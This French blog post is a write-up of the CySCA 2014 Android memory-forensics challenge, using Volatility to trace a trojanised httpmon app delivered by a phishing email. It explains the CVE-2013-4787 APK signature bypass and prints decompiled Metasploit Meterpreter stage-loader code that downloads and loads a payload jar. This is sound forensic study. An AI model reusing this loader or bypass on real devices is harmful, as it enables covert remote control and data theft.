Accueil Solution du Cyber-Security Challenge Australia 2014 (Android Forensics)
Post
Annuler

Solution du Cyber-Security Challenge Australia 2014 (Android Forensics)

De toutes les épreuves proposées par le CySCA 2014, il n’y a qu’une série d’épreuve qui n’évoquait strictement rien pour moi : l’épreuve d’inforensique Androïd.

J’ai beau avoir quelques devices Androïd que j’utilise occasionnellement, je n’ai jamais pris la peine de fouiller ce système.

C’était donc un voyage vers l’inconnu et je me suis parfois demandé ce que je faisais das cette galère :p

Heureusement j’avais quelques numéros de MISC sous la main qui traitaient d’Androïd et m’ont aidé à connaître la structure d’un APK ou les fichiers potentiellement intéressants du système :)

Pour ces épreuves les organisateurs nous ont laissé trois éléments :

  • un dump mémoire de 833Mo du système Androïd 4.1.2 utilisé (Kernel 2.6.29 Goldfish)
  • un profil Volatility fonctionnel afin qu’on puisse conserver nos cheveux
  • une archive 7z contenant le dossier framework de la partition /system. On nous indique que ce sera nécessaire pour décompiler les binaires odex (version 16 de l’API Androïd)

Une fois que l’on a copié le plugin Volatility dans le dossier plugins/overlays/linux/ on découvre que (wow!) effectivement la majorité des commandes pour l’analyse d’image Linux fonctionnent.

Flappy Bird (120 points)

Maintenant que l’on est rassurés on peut s’attaquer à la première question qui est la suivante :

Identify the suspicious app on the device

a) Identify the PID of the suspicious app on the phone.

b) What UID is associated with this process?

c) When did the process start?

Note the processes with PIDs 1454, 1461, 1468 are for dumping memory and can be ignored.

Example answer format: [1234] [4321] [0000-00-00 00:00:00 UTC+0000]

Volatility nécessite de recevoir en paramètre le chemin du dump ainsi que le nom du profile utilisé.

La commande linux_psaux donne (comme son nom l’indique) une liste des processus en cours au moment de la création du dump :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
$ python vol.py linux_psaux -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM
Volatility Foundation Volatility Framework 2.4
Pid    Uid    Gid    Arguments
1      0      0      /init
2      0      0      [kthreadd]
3      0      0      [ksoftirqd/0]
4      0      0      [events/0]
5      0      0      [khelper]
6      0      0      [suspend]
7      0      0      [kblockd/0]
8      0      0      [cqueue]
9      0      0      [kseriod]
10     0      0      [kmmcd]
11     0      0      [pdflush]
12     0      0      [pdflush]
13     0      0      [kswapd0]
14     0      0      [aio/0]
24     0      0      [mtdblockd]
25     0      0      [kstriped]
26     0      0      [hid_compat]
29     0      0      [rpciod/0]
30     0      0      [mmcqd]
31     0      0      /sbin/ueventd
32     1000   1000   /system/bin/servicemanager
33     0      0      /system/bin/vold
35     0      0      /system/bin/netd
36     0      0      /system/bin/debuggerd
37     1001   1001   /system/bin/rild
38     1000   1003   /system/bin/surfaceflinger
39     0      0      zygote /bin/app_process -Xzygote /system/bin --zygote --start-system-server
40     1019   1019   /system/bin/drmserver
41     1013   1005   /system/bin/mediaserver
42     0      0      /system/bin/installd
43     1017   1017   /system/bin/keystore /data/misc/keystore
44     0      0      /system/bin/qemud
47     2000   1007   /system/bin/sh
48     0      0      /sbin/adbd
220    1000   1000   system_server
276    10033  10033  com.android.systemui
308    1001   1001   com.android.phone
324    10014  10014  com.android.launcher
354    10010  10010  android.process.acore
462    10051  10051  com.outlook.Z7:engine
477    10036  10036  com.android.inputmethod.latin
530    10007  10007  android.process.media
554    10045  10045  com.twitter.android
568    10030  10030  com.android.email
671    10049  10049  com.lidroid.fileexplorer:bdservice_v1
727    10056  10056  local.weather.forecast.pro
928    10059  10059  com.estrongs.android.pop
959    10059  10059  /data/data/com.estrongs.android.pop/files/libestool2.so 39623 /data/data/com.estrongs.android.pop/files/comm/tool_port
975    10018  10018  com.android.packageinstaller
988    10029  10029  com.android.defcontainer
1003   10015  10015  com.svox.pico
1016   10057  10057  cm.aptoide.pt
1036   10006  10006  com.android.quicksearchbox
1095   10046  10046  com.devhd.feedly
1141   10052  10052  com.foobnix.pdf.reader
1185   10061  10061  org.jtb.httpmon
1221   10019  10019  com.android.mms
1255   10061  10061  sh
1321   10010  10010  com.android.contacts
1368   10047  10047  com.blueinfinity.photo
1420   1000   1000   com.android.settings
1454   0      0      /system/bin/sh -
1461   0      0      sh
1468   0      0      insmod lime.ko path=/sdcard/mem.dmp format=lime

Les process qui me semblent les plus anormaux sont les derniers… qu’il faut bien sûr ignorer :D

A part ça je note la présence d’un sh (pid 1255), d’un httpmon (1185) et d’une librairie .so dans le dossier com.estrongs.adroid.pop (959).

Mais là encore n’y connaissant rien il ne s’agit encore que d’un ressenti :p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ python vol.py linux_getcwd -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM
Volatility Foundation Volatility Framework 2.4
Name              Pid      CWD
----------------- -------- ---
init                     1
kthreadd                 2
ksoftirqd/0              3
--- snip ---
drmserver               40
mediaserver             41
installd                42
keystore                43 /data/misc/keystore
qemud                   44
sh                      47
adbd                    48
--- snip ---
er.forecast.pro        727
ngs.android.pop        928
libestool2.so          959 /data/data/com.estrongs.android.pop/files
ackageinstaller        975
id.defcontainer        988
com.svox.pico         1003
cm.aptoide.pt         1016
.quicksearchbox       1036
om.devhd.feedly       1095
bnix.pdf.reader       1141
org.jtb.httpmon       1185
com.android.mms       1221
sh                    1255 /data/data/org.jtb.httpmon/files/a
ndroid.contacts       1321
einfinity.photo       1368
ndroid.settings       1420
sh                    1454
sh                    1461 /mnt/sdcard
insmod                1468 /mnt/sdcard

La commande linux_getcwd donne (évidemment) le répertoire de travail de chaque process.

Du coup le processus 1255 semble encore plus suspicieux et montre une relation directe entre le shell et l’application httpmon.

La commande linux_pstree permet d’obtenir une hiérarchie des processus mais ce qui se passe doit être assez générique pour du Androïd (on retrouve des AsyncTask à plusieurs endroits) :

1
2
3
4
..AsyncTask #1       1200            10061
...sh                1255            10061
..AsyncTask #3       1213            10033
..AsyncTask #4       1214            10033

Sans compter que presque tous les process héritent du process Zygote

Je décide d’approfondir la piste httpmon. La commande linux_lsof offre des informations intéressantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
$ python vol.py linux_lsof -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1185

Volatility Foundation Volatility Framework 2.4
Pid      FD       Path
-------- -------- ----
    1185        0 /dev/null
    1185        1 /dev/null
    1185        2 /dev/null
    1185        3 /dev/log/main
    1185        4 /dev/log/radio
    1185        5 /dev/log/events
    1185        6 /system/framework/core.jar
    1185        7 /system/framework/core-junit.jar
    1185        8 /dev/__properties__
    1185        9 /dev/binder
    1185       10 /system/framework/bouncycastle.jar
    1185       11 /system/framework/ext.jar
    1185       12 /system/framework/framework.jar
    1185       13 /system/framework/android.policy.jar
    1185       14 /system/framework/services.jar
    1185       15 /system/framework/apache-xml.jar
    1185       16 /system/framework/framework.jar
    1185       17 /system/framework/framework-res.apk
    1185       18 /system/etc/system_fonts.xml
    1185       19 /system/etc/fallback_fonts.xml
    1185       20 /system/framework/core.jar
    1185       21 /dev/urandom
    1185       22 pipe:[4570]
    1185       23 /dev/cpuctl/apps/tasks
    1185       24 /dev/cpuctl/apps/bg_non_interactive/tasks
    1185       25 socket:[4567]
    1185       26 pipe:[4568]
    1185       27 pipe:[4568]
    1185       28 pipe:[4570]
    1185       29 /anon_inode:/[eventpoll]
    1185       30 /dev/ashmem
    1185       31 /dev/ashmem
    1185       32 /data/app/org.jtb.httpmon-1.apk
    1185       33 /data/app/org.jtb.httpmon-1.apk
    1185       34 /data/app/org.jtb.httpmon-1.apk
    1185       35 pipe:[4586]
    1185       36 pipe:[4586]
    1185       37 /anon_inode:/[eventpoll]
    1185       38 socket:[4594]
    1185       39 /data/data/org.jtb.httpmon/files/UpdateService.jar
    1185       40 /data/data/org.jtb.httpmon/files/UpdateService.jar
    1185       41 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
    1185       42 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
    1185       43 /727/task/1538
    1185       46 /1185/task/1531
    1185       47 /data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml.bak
    1185       48 /1185/task/1531
    1185       49 pipe:[4791]
    1185       50 pipe:[4792]
    1185       51 []
    1185       52 pipe:[4793]
    1185       53 /727/task/1538
    1185       55 /meminfo
    1185       56 pipe:[6535]
    1185       58 pipe:[6535]
    1185       59 /anon_inode:/[eventpoll]
    1185       60 /system/batterystats.bin

Pas besoin d’être un expert Androïd pour soupçonner qu’une application légitime ne disposerait pas de fichier nommé rathrazdaeizaztaxchj.jar :p

On retrouve la présence de ce fichier via la commande linux_proc_maps de Volatility (pour le process 1185) :

1
2
3
4
1185 0x000000004b88f000 0x000000004b891000 r--       0x1d000     31      1       1063 /data/app/org.jtb.httpmon-1.apk
1185 0x000000004b891000 0x000000004b8aa000 r--           0x0     31      1       1094 /data/dalvik-cache/data@app@org.jtb.httpmon-1.apk@classes.dex
1185 0x000000004b8aa000 0x000000004b8c2000 r--           0x0     31      1       1240 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.dex
1185 0x000000004b8c2000 0x000000004b8c5000 rw-           0x0      0      7       4706 /dev/ashmem/dalvik-aux-structure

Au passage via lsof j’ai remarqué la présence d’un PDF ouvert via le lecteur PDF Foobnix (com.foobnix.pdf.reader) :

1
1141       76 /mnt/sdcard/Download/Application_Whitelisting.pdf

L’une des commandes les plus intéressantes de Volatility est linux_find_file : elle permet de scanner en mémoire les fichiers mappés et retrouver l’inode à partir du path :

1
2
3
4
5
$ python vol.py linux_find_file -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -F /data/app/org.jtb.httpmon-1.apk
Volatility Foundation Volatility Framework 2.4
Inode Number          Inode File Path
---------------- ---------- ---------
            1063 0xf370fe90 /data/app/org.jtb.httpmon-1.apk

Cette même commande permet en changeant les options (-i pour spécifier l’inode, -O pour la destination) d’extraire le contenu d’un fichier. Énorme :)

Les fichiers ainsi extraits sont parfois corrompus mais contiennent suffisamment de données pour se rendre utiles.

J’ai extrait un certains nombre de fichiers dont voici une liste rapide :

1
2
3
4
5
6
7
8
9
10
11
12
1210 0xf36bc570 /data/data/org.jtb.httpmon/files/UpdateService.jar
1230 0xf35c82c0 /data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar
 621 0xf35f0740 /data/data/com.android.providers.telephony/databases/mmssms.db
 666 0xf35bbe90 /data/data/com.android.providers.telephony/databases/telephony.db
 505 0xf352cab8 /data/data/com.android.launcher/databases/launcher.db
 495 0xf3545ab8 /data/data/com.android.providers.contacts/databases/contacts2.db
 464 0xf369dc40 /data/data/com.android.providers.contacts/databases/profile.db
 783 0xf35c8d28 /data/data/com.outlook.Z7/databases/email.db
 551 0xf35d7eb0 /data/data/com.android.providers.downloads/databases/downloads.db
 815 0xf3717c20 /data/data/com.devhd.feedly/databases/webviewCookiesChromium.db
 609 0xf37218e8 /data/data/com.foobnix.pdf.reader/databases/webview.db
 481 0xf36a4b38 /data/data/org.jtb.httpmon/shared_prefs/org.jtb.httpmon_preferences.xml

Arrivé à ce stade il faut bien se décider à répondre aux premières questions.

Ma réponse est la suivante :

PID 1185 (le pid de httpmon)

UID 10061 (le user id qui la fait tourner)

DATE 2014-02-25 05:10:56

La date de lancement de l’application se retrouve via la commande linux_pslist :

1
0xe102d800 org.jtb.httpmon      1185            10061           10061  0x21024000 2014-02-25 05:10:56 UTC+0000

Tower of Medivh (120 points)

Provide the CVE for the vulnerability that was used to allow the installation of this package.

Example answer format: [CVE-2000-0001]

J’ai été bien en peine sur cette question là…

J’ai d’abord trouvé deux vulnérabilités qui touche Estrongs File Explorer présent sur le système :

http://www.securityfocus.com/bid/66384/info

http://www.securityfocus.com/bid/52285/info

et deux pages toujours en rapport :

http://vuln.sg/esfileexplorer303-en.html

https://stackoverflow.com/questions/30130186/how-to-load-a-library-as-root

Mais aucune ne permet l’installation de packages d’une manière où d’une autre…

Comme souvent sur les épreuves d’inforensique il aura fallut aller plus loin dans les questions pour avoir une vision plus nette de ce qu’il s’est passé en totalité.

C’est l’analyse du fichier /data/data/com.android.email/databases/EmailProviderBody.db qui m’a mis la puce à l’oreille.

Ce fichier contient les emails reçus mais est corrompu et en partie inexploitable avec sqlite3 mais un strings se montre efficace pour avancer sur les questions :

Hi Kevin,

I’m a big fan of your site and I saw that your it went down over the weekend! :( If you want a good

application to monitor this kind of activity you should use httpmon

(http://www.megafileupload.com/en/file/502128/org-jtb-httpmon-apk.html); it’s signed by the

author if your worried about rogue apps ;)

Let me know if you have any problems!

Mike

On apprend soudainement beaucoup de choses. Principalement que httpmon est une application normalement légitime (trouvable sur le Play Store) mais que vraisemblablement ce Mike l’a vérolé et a utilisé un peu d’ingénierie sociale pour parvenir à ses fins.

L’information qui nous intéresse pour la question c’est le fait que Mike indique que l’application est signée par l’auteur…

Dès lors comment Mike a t-il réussi à véroler l’application ?

Tout s’explique par la vulnérabilité CVE-2013-4787.

Sophos explique très bien le principe de la vulnérabilité (depuis corrigée) : un APK est simplement un zip organisé d’une manière prédéfinie.

Androïd vérifie au fur et à mesure de sa lecture des signatures pour chaque fichier listé dans le zip (les signatures sont dans META-INF/MANIFEST.MF lui-même compressé).

Seulement le format zip permet de spécifier deux fois le même fichier… et Androïd fait la vérification de signature sur la première occurence d’un fichier alors qu’il écrase cette occurence si une autre est présente !

C’est facilement vérifiable avec l’utilitaire unzip :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ unzip -l org.jtb.httpmon-1.apk
Archive:  org.jtb.httpmon-1.apk
  Length      Date    Time    Name
---------  ---------- -----   ----
    98532  2014-02-21 06:42   classes.dex
     2156  2010-11-27 15:28   res/drawable/icon.png
     1408  2010-11-27 15:28   res/drawable/invalid.png
     1328  2010-11-27 15:28   res/drawable/running.png
     1299  2010-11-27 15:28   res/drawable/status.png
     1311  2010-11-27 15:28   res/drawable/stopped.png
     1470  2010-11-27 15:28   res/drawable/valid.png
      872  2010-11-27 15:29   res/layout/action_row.xml
      892  2010-11-27 15:29   res/layout/condition_row.xml
     2768  2010-11-27 15:29   res/layout/edit_content_contains_condition.xml
     3084  2010-11-27 15:29   res/layout/edit_header_contains_condition.xml
     4984  2010-11-27 15:29   res/layout/edit_monitor.xml
     3072  2010-11-27 15:29   res/layout/edit_notification_action.xml
     1820  2010-11-27 15:29   res/layout/edit_request.xml
     1560  2010-11-27 15:29   res/layout/edit_response_code_condition.xml
     1752  2010-11-27 15:29   res/layout/edit_response_time_condition.xml
     2608  2010-11-27 15:29   res/layout/edit_sms_action.xml
      660  2010-11-27 15:29   res/layout/log.xml
     1100  2010-11-27 15:29   res/layout/manage_monitors.xml
     2292  2010-11-27 15:29   res/layout/monitor_row.xml
     2284  2010-11-27 15:29   res/layout/prefs.xml
     6264  2010-11-27 15:29   AndroidManifest.xml
    10808  2010-11-27 15:28   resources.arsc
    94328  2010-11-27 15:29   classes.dex
     1900  2010-11-27 15:29   META-INF/MANIFEST.MF
     1953  2010-11-27 15:29   META-INF/CERT.SF
      937  2010-11-27 15:29   META-INF/CERT.RSA
---------                     -------
   253442                     27 files

On observe ici deux fois le fichier classes.dex. Le plus agé est l’original (avec la signature valide) et le second (daté de 2014 et plus volumineux) est celui piégé.

Wrath (180 points)

Identify additional payload stages

a) What are the file paths for the second and third Java stages of the malware?

b) What are the file sizes of these two files (in bytes)?

c) What is the publicly named malware used in both stages?

Example answer format: [/dir/dir/filename1.ext/dir/dir/filename2.ext] [1234554321] [MalwareRAT]

Les questions a et b sont facile à résoudre une fois que l’on a extrait les fichiers de la mémoire :

/data/data/org.jtb.httpmon/files/UpdateService.jar (1993 octets)

/data/data/org.jtb.httpmon/files/rathrazdaeizaztaxchj.jar (37661 octets)

Comment procéder pour lire ces fichiers JAR :

Une archive JAR est juste une archive zip, on l’ouvre donc avec unzip.

A l’intérieur on trouve un fichier .dex que l’on peut convertir (à son tour) en .jar via le logiciel dex2jar.

Inutile de décompresser le .jar résultant qui contient les .class. On le passe directement au décompilateur JD (JD-GUI) qui en fait son affaire.

Ainsi on trouve le code suivant dans UpdateService.jar :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package androidpayload.stage;

import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.util.Random;

public class Meterpreter
  implements Stage
{
  private String randomJarName()
  {
    char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
    StringBuilder localStringBuilder = new StringBuilder();
    Random localRandom = new Random();
    int i = 0;
    while (i < 20)
    {
      localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
      i += 1;
    }
    return localStringBuilder.toString() + ".jar";
  }

  public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
    throws Exception
  {
    paramArrayOfString = randomJarName();
    String str = paramContext.getFilesDir().getAbsolutePath();
    byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
    paramDataInputStream.readFully(arrayOfByte);
    FileOutputStream localFileOutputStream = paramContext.openFileOutput(paramArrayOfString, 0);
    localFileOutputStream.write(arrayOfByte);
    localFileOutputStream.close();
    new DexClassLoader(str + File.separatorChar + paramArrayOfString, str, str, paramContext.getClassLoader()).loadClass("com.metasploit.meterpreter.AndroidMeterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, Context.class, Boolean.TYPE }).newInstance(new Object[] { paramDataInputStream, paramOutputStream, paramContext, Boolean.valueOf(false) });
  }
}

UpdateService.jar est donc le second stage et rathrazdaeizaztaxchj.jar le third stage.

Quand au nom connu du malware correspondant à ces deux stages c’est simplement le Meterpreter de Metasploit :)

Scams Through The Portal (180 points)

Investigate the attack vector

a) Provide the full path to the malicious app’s original location on the phone.

b) Provide the IP for where the malware was initially downloaded.

c) What is the email address of the person who is responsible for this compromise?

Example answer format: [/dir/dir/filename.ext] [127.0.0.1] [email@domain.com]

La commande linux_dentry_cache de Volatility peut prendre du temps à s’exécuter mais vaut la peine d’attendre.

On retrouve facilement l’emplacement initial du apk malicieux :

1
0|Download/[Megafileupload]org.jtb.httpmon.apk|174|0|1000|1015|124408|4084033896|4084033904|0|4084033912

Et dans le fichier downloads.db extrait plus tôt on retrouve des informations complémentaires :

1
2
3
4
5
sqlite> select * from downloads;
1|http://172.16.1.80/img/people/kevin.jpg|0|||file:///mnt/sdcard/Download/kevin.jpg||/mnt/sdcard/Download/kevin.jpg|image/jpeg|4||0||200|0|1392952454780|com.android.browser||||||31137|31137|"40b91-79a1-4f2e200d89141"|10004||kevin.jpg|172.16.1.80|1|1|1|-1|1|0|content://media/external/images/media/12|0||1
2|http://www.asd.gov.au/publications/csocprotect/Application_Whitelisting.pdf|0|||file:///mnt/sdcard/Download/Application_Whitelisting.pdf||/mnt/sdcard/Download/Application_Whitelisting.pdf|application/pdf|4||1||200|0|1393205837399|com.android.browser||||||449709|449709|"6ddda-6dcad-4d13c72f8e600"|10004||Application_Whitelisting.pdf|www.asd.gov.au|1|1|1|-1|1|0|content://media/external/file/157|0||1
3|http://212.7.194.85/getfile.php?id=502128&access_key=af1a5e52710db24b96bd6b0fd889c7c5&t=530c1c39&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD88694B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apk|0|||file:///mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk|||application/octet-stream|4||1||495|0|1393304677898|com.android.browser||||||-1|0||10004|||212.7.194.85||1|1|-1|1|0||0|can't know size of download, giving up|1
4|http://212.7.194.85/getfile.php?id=502128&access_key=142e7aafe3f38db049c9841c9fd2263d&t=530c1cf3&o=C7AA675A03F1AD70CF8FEFF381EA8B85C7B6645A03EDB070CF8FE3EF87BCD88694B07A5B6CBCEC37D3F694F380F68D99&name=org.jtb.httpmon.apk|0|||file:///mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk||/mnt/sdcard/Download/[Megafileupload]org.jtb.httpmon.apk|application/octet-stream|4||1||200|0|1393304784497|com.android.browser||||||124408|124408||10004||[Megafileupload]org.jtb.httpmon.apk|212.7.194.85|1|1|1|-1|1|0|content://media/external/file/169|0||1

On sait donc que le fichier a été téléchargé depuis le serveur 212.7.194.85. Ce serveur appartient à MegaFileUpload, un service toujours d’actualité malheureusement suite à une restructuration l’APK n’est plus téléchargeable (38 personnes auront au la chance de le récupérer tel quel, probablement quand le challenge était actif).

Pour la question c on dispose déjà en partie de la réponse mais le fichier /data/data/com.android.email/databases/EmailProvider.db donne d’autres informations intéressantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sqlite> select * from Account;
1|k3vin.saunders@gmail.com|k3vin.saunders@gmail.com||-1|15|1|2|2313|0|cc963c62-5175-48a8-a6fd-7e7e18316a44|Kevin Saunders|content://settings/system/notification_sound||0||||0|0|0
sqlite> select * from HostAuth;
1|imap|imap.gmail.com|993|5|k3vin.saunders@gmail.com|superkev||0|
2|smtp|smtp.gmail.com|465|5|k3vin.saunders@gmail.com|superkev||0|
sqlite> select * from Message;
1|4|1392078696000|Google+ team|1392078695000|Getting started on Google+|0|1|0|0|0||<CKDeuaHpwrwCFYZycgodTYAAAA@plus.google.com>|9|1|Google+ team <noreply-daa26fef@plus.google.com>|k3vin.saunders@gmail.com|||||Welcome to Google+, Kevin!Share with the people you care about, and explore the stuff you're into.Go to Google+Share and stay in touch with just the right peopleEnhance and back up your photos automat||
2|5|1392087497000|Twitter|1392087494000|Confirm your Twitter account, K3vinSaunders!|1|1|0|0|0||<BC.EB.02656.6C199F25@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
3|6|1392379137000|Twitter|1392379134000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<82.23.05397.EF40EF25@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
4|7|1392529476000|Twitter|1392529474000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<1A.D5.56395.24050035@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
5|8|1392889021000|Twitter|1392889019000|Confirm your Twitter account, K3vinSaunders!|0|1|0|0|0||<1C.EA.56249.BBCC5035@spruce-goose.twitter.com>|9|1|Twitter <confirm@twitter.com>|Kevin Saunders <k3vin.saunders@gmail.com>|||||Kevin Saunders, Please confirm your Twitter account Confirming your account will give you full access to Twitter and all future notifications will be sent to this email address. Confirm your account n||
6|1|1393155939000|Me|1393154502553|Remember meeting tomorrow 8:00 <eom>|1|1|0|0|131072||<xdekarfhdn5x0kqwksk0fims.1393154502553@email.android.com>|11|1|k3vin.saunders@gmail.comKevin Saunders|Me <k3vin.saunders@gmail.com>|||||||
7|9|1393155068000|Kevin Saunders|1393154502000|Remember meeting tomorrow 8:00 <eom>|0|1|0|0|0||<xdekarfhdn5x0kqwksk0fims.1393154502553@email.android.com>|9|1|Kevin Saunders <k3vin.saunders@gmail.com>|Me <k3vin.saunders@gmail.com>|||||||
8|10|1393209801000|mike.joss@hushmail.com|1393209799000|RE: Website downtime :(|1|1|0|0|0||<20140224024319.AEDBF206E4@smtp.hushmail.com>|9|1|mike.joss@hushmail.com|k3vin.saunders@gmail.com|||||Hi Kevin,I'm a big fan of your site and I saw that your it went down over the weekend! :( If you want a good application to monitor this kind of activity you should use httpmon (http://www.megafileupl||

N’est-ce pas mike.joss@hushmail.com ?

hunter2 (200 points)

Information on files exfiltrated

a) Where were the files copied to before they were stolen?

b) What were the credentials that were stolen?

c) What was the full path to the PDF document that was exfiltrated?

Example answer format: [/dir/dir/stagedir/] [username/password] [/dir/dir/filename.ext]

On quitte donc la partie “comment c’est arrivé” pour la partie “que s’est-il passé…”

La présence du processus sh dans le dossier de l’APK backdooré indique que le pirate a récupéré un shell depuis le Meterpreter.

J’ai eu recours à la commande linux_proc_maps de Volatility pour lister les zones mémoires du processus shell :

1
python vol.py linux_proc_maps -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1255

C’est dans le heap que j’ai trouvé le plus d’informations intéressantes :

1
python vol.py linux_dump_map -f memory.dmp --profile=Linuxgoldfish-2_6_29ARM -p 1255 -s 0x00000000beb41000 -D /tmp/output

Un strings retourne les informations (relativement) lisibles suivantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
card/Download/kevin.jpg > ./k
listing.pdf > ./a
*/data/data/org.jtb.httpmon/files/a
CDPATH
*/data/data/org.jtb.httpmon/files/a
netstat
*/system/bin/netstat
mkdir
*/system/bin/rm
*/data/data/org.jtb.httpmon/files
ls -l
ard/Download/
@ystem/bin/rm
@yste
*/system/bin/ps
*_=/system/bin/ls
@rg.jA
ttpmon/files
netstat
*nets
ard/y
*/system/bin/rm
Username: kevins
Password: s1mpl!c17y
Account active for 12 mon
*/sdcard/Download
in.jpg
*./k

Les fichiers volés ont été copiés dans le dossier /data/data/org.jtb.httpmon/files/a/.

Pour le savoir il faut croiser l’output précédent avec le résultat de la commande dentry :

1
2
3
4
0|data/org.jtb.httpmon/files/a|789|0|10061|10061|2048|4084386000|4084386008|0|4084386016
0|data/org.jtb.httpmon/files/a/a|0|0|0|0|0|0|0|0
0|data/org.jtb.httpmon/files/a/k|0|0|0|0|0|0|0|0
0|data/org.jtb.httpmon/files/a/p|0|0|0|0|0|0|0|0

Bien que l’on voit un username et password on ne sait pas à quoi ils servent.

Une simple recherche sur ces infos dans le dump mémoire nous donne un extrait plus complet :

1
2
3
4
Usenet Account information:
Username: kevins
Password: s1mpl!c17y
Account active for 12 months.

Quand au PDF exfiltré il n’y en a pas beaucoup finissant par listing.pdf :

1
/mnt/sdcard/Download/Application_Whitelisting.pdf

Electronic Sheep (230 points)

Analysis on the malicious application

a) What is the malicious domain and port associated with the malware?

b) What is the existing Class method (Java) that was modified to jump to the malicious code?

Example answer format: [domain.com:1234] [methodName()]

On rentre cette fois dans les détails avec cette dernière question.

On a beau remarquer que le pirate a utilisé netstat (potentiellement plusieurs fois mais vu la structure du heap pas sûr) on ne trouve pas pour autant d’adresses IP dans le dump mémoire :’(

Qui plus est, la commande linux_netstat de Volatility est restée désespérément silencieuse.

La commande linux_route_cache retourne la liste suivante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Interface        Destination          Gateway
---------------- -------------------- -------
eth0             95.211.162.18        10.0.2.2
eth0             74.125.237.203       10.0.2.2
eth0             74.125.237.202       10.0.2.2
eth0             54.225.150.210       10.0.2.2
eth0             10.0.2.3             10.0.2.3
lo               10.0.2.15            10.0.2.15
lo               0.0.0.0              0.0.0.0
eth0             54.243.82.218        10.0.2.2
eth0             107.22.187.100       10.0.2.2
eth0             74.125.237.170       10.0.2.2
eth0             173.194.79.108       10.0.2.2
eth0             74.125.237.172       10.0.2.2
eth0             107.22.187.100       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             74.125.237.171       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             74.125.237.204       10.0.2.2
eth0             107.22.211.9         10.0.2.2
eth0             10.0.2.3             10.0.2.3
eth0             173.194.79.109       10.0.2.2
eth0             74.125.237.202       10.0.2.2
lo               10.0.2.15            10.0.2.15
lo               10.0.2.15            10.0.2.15
eth0             74.125.129.109       10.0.2.2
eth0             192.168.43.221       10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             192.168.43.221       10.0.2.2
eth0             75.101.143.120       10.0.2.2
eth0             74.125.237.203       10.0.2.2
eth0             54.243.77.51         10.0.2.2
eth0             184.73.220.212       10.0.2.2
eth0             184.73.220.212       10.0.2.2
eth0             75.101.143.120       10.0.2.2
eth0             8.8.8.8              10.0.2.2
eth0             107.22.211.9         10.0.2.2
eth0             54.243.77.51         10.0.2.2
eth0             173.194.79.108       10.0.2.2
lo               10.0.2.15            10.0.2.15
lo               10.0.2.15            10.0.2.15
eth0             54.243.82.218        10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             54.243.43.116        10.0.2.2
eth0             54.225.150.210       10.0.2.2
eth0             74.125.237.172       10.0.2.2
eth0             8.8.8.8              10.0.2.2
lo               10.0.2.15            10.0.2.15
eth0             173.194.79.109       10.0.2.2
eth0             54.243.43.116        10.0.2.2

Après quelques Whois on détermine la répartition suivante :

1
2
3
4
5
6
7
173.194 => google
74.125 => google
54.* => amazon AWS
107.22 => amazon AWS
75.* => amazon AWS
184. => amazon AWS
